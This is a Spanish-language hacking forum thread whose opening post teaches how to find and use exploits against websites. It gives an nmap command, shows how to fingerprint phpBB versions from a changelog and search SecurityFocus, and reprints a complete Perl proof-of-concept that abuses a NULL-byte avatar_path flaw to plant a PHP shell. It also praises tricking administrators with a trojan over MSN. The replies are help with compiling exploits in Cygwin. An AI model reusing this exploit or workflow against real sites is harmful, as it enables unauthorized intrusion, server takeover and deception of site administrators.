hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
30 de Agosto de 2008, 02:16:33
Noticias: Reporte de temas
Para ver este enlace Registrate o Inicia Sesion
> Aqui

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Bugs y Exploits (Moderador: vengador de las sombras)
| | |-+  Compilación e interpretación de Exploits || Tutorial Securityfocus: Buscando inf
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] 2 3 4 5 6 7 8 Ir Abajo Imprimir
Autor Tema: Compilación e interpretación de Exploits || Tutorial Securityfocus: Buscando inf  (Leído 23695 veces)
OzX
Visitante
« : 03 de ſeptiembre de 2006, 08:42:26 »



Como Ya se dieron cuenta ya esta la Ezine H-NeZ #1 , Que abarcara distintos temas.

Para poder Dar a Conocer mejor la Informacion, selecionare cada info de la ezine y la posteare por separado, Para que todos pueden ver los Manuales de una forma mas directa, (Solo Bajarse la seccion que le interesa) o Bajarse la Ezine Completa.

Compilar Exploit en C
Compilar Exploit En Php
Interpretar Exploit en Perl
Interpretar Exploit en Python.



Para ver este enlace Registrate o Inicia Sesion
Descargar AQUI


Para ver este enlace Registrate o Inicia Sesion
Mirror Descarga



Para ver este enlace Registrate o Inicia Sesion

Esta obra es publicada bajo una
Para ver este enlace Registrate o Inicia Sesion
Licencia Creative Commons








Para ver este enlace Registrate o Inicia Sesion
Posteado OriginalMente en New Bytes



- En este Tutorial Explicare la forma mas facil de encontrar informacion sobre las vulnerabilidad es de las distintas aplicaciones que se encuentran en una pagina web, no intenta de ser una guia paso a paso, pero si un buen referente para que luego exploten sus propios metodos de investigacion, y principalmente leer , para evitar preguntas sin sentidos. Oz ¡

 Ahy varias formas de auditar una pagina web, si no es via "host" escaneando sus puertos y examinando que Servicios Tienen corriendo, (ftp, http, etc):

Código:
nmap -v -sSV -P0



  Tambien se puede hacer una "escanear" manual, buscando los Scripts que ocupan, foros, blogs, sistemas de noticias, etc..

 [alerta] Un aspecto esencial es ver de que version es.

  Este Ejemplo es en los foros PHPBB


Código:
http://<server>/[path]/docs/CHANGELOG.html

  Le agregamos una Version mas, por ejemplo si Sale 2.0.20 , es 2.0.21, porque ahy explica los cambios que se s creado en la version anterior 2.0.20 pero en esta "version" 2.0.21 todavia no lo corrigen, o mejor dicho el administrador no actualiza el script



  En una forma bastante eficaz, porque muchos de estos scripts son bastante vulnerables , RFI, SQL, XSS entre otros.
  La ventaja es que estas vulnerabilidad es se pueden explotar directamente desde el navegador, pero siempre existen programas que facilitan este procedimiento, creando script en perl, php, etc, para solo introducir los datos y este aprovecha la vulnerabilidad .

Antes de avanzar quiero aclarar algo:

 Vulnerabilidad = Fallo en el sistema, para que cualquier usuarios mal "intencionado" pueda ejecutar codigos arbitrarios en el sistema victima
 Exploit = Codigo (compilado, interpretado),o Accion que aprovecha una vulnerabilidad, para tener privilegios en el sistema.

  ¿A que me refiero con Accion?

  Que no necesariamente tiene que ser un Exploit escrito en Perl que se tenga que interpretar , si no tambien una simple inyeccion sql , rfi, xss, es un exploit. Codigos directamente incrustados desde el navegador, muchos users creen que el "Exploit" tiene que ser un programa que se tiene que compilar o interpretar, pero esto no es asi. Puede ser cualquier codigo, o incluso puede ser hasta ing social

 Hacerce pasar por chica en msn y enviarle un troyano al administrador para averiguar la password de su sitio sigue siendo parte de un Exploit. Pero no es ni un Codigo ni Nada "Human Exploit"

No e Escuchado a nadie Hacer termino a "Human Exploit" como parte de un tipo de Exploit mas, pero intento que si se haga XD¡. para hacer referencia a la Ing social como parte de un Exploit (que aprovecha una vulnerabilidad)

  Una ves Vista la Version del Script, En este caso el Foro PHPBB, Talves nos surgan las siguientes dudas:

  ¿Que tenemos que Hacer Ahora?
Citar
R: Ir algun Bugtrag y Buscar si Existen alguna Vulnerabilidad

  ¿Donde la Encuentro?
Citar

Para ver este enlace Registrate o Inicia Sesion
www.Securityfo cus.com

  ¿Estara Listo?
Citar
Si existe alguna vulnerabilidad, existira alguna explicacion, pero no necesariamente existira algun tipo de exploit
  ¿Tendre que Leer?
Citar
Si no te gusta leer no sigas leyendo


Buscando en la Enciclopedia de las Vulnerabilidad:

  Ingresamos a
Para ver este enlace Registrate o Inicia Sesion
www.Securityfo cus.com

  Ingresamos a Vulnerabilitie s



  En Vendor Selecionamos el Nombre del Script, en este caso PHPBB



  y Buscamos su Version


[nota] Algunas Veces nos nos encontraremos con Ninguna Vulnerabilidad .



  Una vez Encontrada la Version, Podremos visualizar las Vulnerabilidad es, ahora devemos ingresar a los Link expuestos para poder averiguar ¿Que tipo de Vulnerabilidad Tiene? y asi Poder seguir buscando.



  Para Cada vulnerabilidad tenemos que leer su descripcion, ahora el ingles no es una dificultar ¿puedes leer? ¿Sabes Ocupar Google? .



Citar
El Script PHPBB esta suseptible a la ejecucion de codigos php arbitrarios, los atacantes puedes tener privilegios sobre el servidor en donde se aloja la pagina web

  Ingresamos a la Pestaña Exploit:



Citar
Los atacantes puedes Explotar esta vulnerabilidad por el navegador

 Ahora ya tenemos mas informacion sobre las vulnerabilidad, es importante leer cada una de ellas, para asi tener una mayor posibilidad para poder encontrar algun Exploit.

  En lo Personal Si quiero Buscar algun Exploit Parto Obviamente por el titulo:

  Google
Citar
"phpBB Avatar_Path PHP Code Execution Vulnerability"exploit

  Claramento aunque no en todos los casos , nos devolvera los link de securityfocus al inicio, pero ahy otras webs de seguridad , en donde dan como noticia la misma vulnerabilidad, en algunos casos estos sitios exponen links directos hacia los exploits, o como tambien en muchos casos que no.



  Pero tambien si analizamos un poco mas, podriamos buscar por el autor , quien descubrio la Vulnerabilidad, mas otras palabras claves:



 Como ven nos Tira un Link hacia Milw0rm donde claramente ahy un Exploit.

 [nota]
Para ver este enlace Registrate o Inicia Sesion

Código:
#!/usr/bin/perl -w
# Author: ShAnKaR
# Title: multiple PHP application poison NULL byte vulnerability
# Applications: phpBB 2.0.21, punBB 1.2.12
# Threat Level: Critical
# Original advisory (in Russian): http://www.security.nnov.ru/Odocument221.html
#
# Poison  NULL  byte vulnerability for perl CGI applications was described
# in  [1].  ShAnKaR  noted, that same vulnerability also affects different
# PHP  applications.  An  example of vulnerable applications are phpBB and
# punBB.
#
# Vulnerability  can  be  used  to  upload  or  replace arbitrary files on
# server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename.
#
# In  case  of  phpBB and punBB vulnerability can be exploited by changing
# location  of avatar file and uploading avatar file with PHP code in EXIF
# data.
#
# A PoC exploit to change Avatar file location for phpBB:
#
#

use HTTP::Cookies;
use LWP;
use URI::Escape;
unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"}
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)');
$ua->cookie_jar( HTTP::Cookies->new());

$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1";
my $req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
my $res = $ua->request($req);

$res=$ua->get('http://'.$ARGV[0].'/login.php');
$content=$res->content;
$content=~ m/true&amp;sid=([^"]+)"/g;
if($ARGV[4]){
$content=$res->content;
print $content;
}
$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);

$url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1;
$data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
if($ARGV[4]){
$content=$res->content;
print $content;
}

# milw0rm.com [2006-09-11]


 Eso era con 1 sola Vulnerabilidad, ahora expondre los Link de las otras vulnerabilidad que encontro Securityfocus en su Base de datos:

  phpBB Privmsg.PHP HTML Injection Vulnerability


  Nivisec Admin Topic Action Logging Module Remote File Include Vulnerability


  Securitfocus nos ayuda bastante para empezar , a buscar las vulnerabilidad es, asi podremos ir cada vez avanzado, pero ya teniendo una Guia.

Para Entender ahy que leer sobre los distintos tipos de Vulnerabilidad, no sacamos nada, con encontrar el exploit, si no sabemos que es lo que hace, es por ello que es necesario leer sobre las "nociones basicas" de las distintas vulnerabilidad es, y asi tambien algun lenguaje de programacion, si no hacen esto, existiran preguntas talves como:

  ¿Que hago Ahora?
  Lo Compilo y no Sale nada¡
  ¿Que es Exploit?

  Ahy una buena base de informacion en el Foro de Vulnerabildiad es de
Para ver este enlace Registrate o Inicia Sesion
new-bytes.net


 LEEER¡ NO EVITAR LA FLOJERA MENTAL ¡¡¡ AHY QUE LEER¡' PARA SABER¡¡¡


  Creo que es una Duda bastante recurrente y bueno  , es bueno resolver una duda mas aunque sea pequeña .

Oz
Para ver este enlace Registrate o Inicia Sesion
www.new-Bytes.net


  Si van a Copiar Exponer de donde lo sacaron, y quien es el autor.


Para ver este enlace Registrate o Inicia Sesion
Posteado OriginalMente en New Bytes


« Última modificación: 12 de Julio de 2008, 01:14:03 por CHR0N05 » En línea
sdrako
Recien llegado
*
Desconectado Desconectado

Mensajes: 11


nena amor de mi vida.. suckeo? q es eso XD


Ver Perfil
« Respuesta #1 : 17 de ſeptiembre de 2006, 12:20:14 »

 estas seguro?Huh para mi q t faltan pekeños detalles (librerias)  Undecided



salu2
En línea
OzX
Visitante
« Respuesta #2 : 17 de ſeptiembre de 2006, 01:13:20 »

ante la duda de que falto una libreria...
se agrego un manual de como agregar librerias

Ray ojala que no te kede ninguna duda Cheesy¡

saludos

En línea
invisible_soul
NZ2
**
Desconectado Desconectado

Mensajes: 300



Ver Perfil
« Respuesta #3 : 19 de ſeptiembre de 2006, 10:23:18 »

ola mira segui lo que tu me dijiste de desactivar la opcion de ocular extensiones... . pero = nomas no me agarra
En línea



invisible_soul
NZ2
**
Desconectado Desconectado

Mensajes: 300



Ver Perfil
« Respuesta #4 : 19 de ſeptiembre de 2006, 12:52:16 »

ya aca va una fot  del error para que me entienda mejor
En línea



||Ray||
NZ5
*****
Desconectado Desconectado

Mensajes: 1,963


www.timebomb.tk


Ver Perfil WWW
« Respuesta #5 : 19 de ſeptiembre de 2006, 01:03:01 »

Yo creo que es porque no has copiado el exploit.c a la carpeta BIN.
En línea

¡Las preguntas en el foro, no por IM!






OzX
Visitante
« Respuesta #6 : 19 de ſeptiembre de 2006, 01:36:01 »

ya aca va una fot  del error para que me entienda mejor


es por esto


esa es la solucion sigue bien los pasos, no solo instales y das next y instalas por default no se te instalara ese compilador..

ola mira segui lo que tu me dijiste de desactivar la opcion de ocular extensiones... . pero = nomas no me agarra

es por lo mismo, ve bien si instalaste la libreria gcc porque ahy mismo dice..
que no se reconoce como archivo.. o lotes ejecutables osea no esta el compilador gcc


Yo creo que es porque no has copiado el exploit.c a la carpeta BIN.

dira que no se encuentra el archivo exploit.c no such bla bla bla...
pero si sale

es por lo antes mencionado
En línea
invisible_soul
NZ2
**
Desconectado Desconectado

Mensajes: 300



Ver Perfil
« Respuesta #7 : 19 de ſeptiembre de 2006, 04:12:14 »

muchas gracias ozx
una cosa  entonces tengo que desintalar y volver a instlar el cygwin lo otro  esque cuando instlale por primera vez el cygwin nunca me dio esa opcion
En línea



invisible_soul
NZ2
**
Desconectado Desconectado

Mensajes: 300



Ver Perfil
« Respuesta #8 : 19 de ſeptiembre de 2006, 04:56:41 »

como puedo desitnalat el cygwin..... no se donde en cp no me aparece
En línea



OzX
Visitante
« Respuesta #9 : 19 de ſeptiembre de 2006, 04:57:08 »

ve bien el manual de instalacion ahy sale...



si te fijas tienes que poner full para que te salfa la lista..
osino esta en la categoria DEVEL

sigue leyendo mejor el manual....

saluydois
adios
En línea
OzX
Visitante
« Respuesta #10 : 19 de ſeptiembre de 2006, 04:57:54 »

como puedo desitnalat el cygwin..... no se donde en cp no me aparece



no es necesario desintalar, porfavor leee bien el manual¡¡' si lo leas a la ligera obviamente vas a tener errores...

En línea
invisible_soul
NZ2
**
Desconectado Desconectado

Mensajes: 300



Ver Perfil
« Respuesta #11 : 19 de ſeptiembre de 2006, 05:03:36 »

si lo tengo instalado lo puedo volver a instlar para arreglar los errores o no?
y lo otro que me pida una direccion para guardad una carpeta toda rara, se puede borrar o por lo menos guardarla donde tengo instalado el  cygwin?
En línea



OzX
Visitante
« Respuesta #12 : 19 de ſeptiembre de 2006, 05:08:07 »

si lo tengo instalado lo puedo volver a instlar para arreglar los errores o no?
y lo otro que me pida una direccion para guardad una carpeta toda rara, se puede borrar o por lo menos guardarla donde tengo instalado el  cygwin?

mira men no es necesario desintalar tienes que reinstalarlo.. deves hacer el mismo procedimiento para poder instalar el "gcc" y lo mejor que puedes hacer..
es leer el MANUAL BIEN¡ pordios que ahy sale... todo lo q preguntas.

saludos
adios
En línea
invisible_soul
NZ2
**
Desconectado Desconectado

Mensajes: 300



Ver Perfil
« Respuesta #13 : 19 de ſeptiembre de 2006, 05:14:33 »

ok lo unico que te voy apreguntar que revise y no sale que cuando uno instale el cygwin te dice donde quieres guardar una carpeta que  no se para que srive y la guarde, por defecto que viene en escriotio y no se si la puedo borrar o por  lo menos puedo volver a instlar el cygwin y cambiar la ubicacion de esta carpeta a donde instale el cygwin
En línea



OzX
Visitante
« Respuesta #14 : 19 de ſeptiembre de 2006, 05:25:02 »

ok lo unico que te voy apreguntar que revise y no sale que cuando uno instale el cygwin te dice donde quieres guardar una carpeta que  no se para que srive y la guarde, por defecto que viene en escriotio y no se si la puedo borrar o por  lo menos puedo volver a instlar el cygwin y cambiar la ubicacion de esta carpeta a donde instale el cygwin

seguro? si la encuentro te haces un manual hacerca de los distintos tipos de exploit , unas definciones nada mas, que es lo q me falta ok?

esta en el manual¡pordios hombre¡
En línea
Páginas: [1] 2 3 4 5 6 7 8 Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online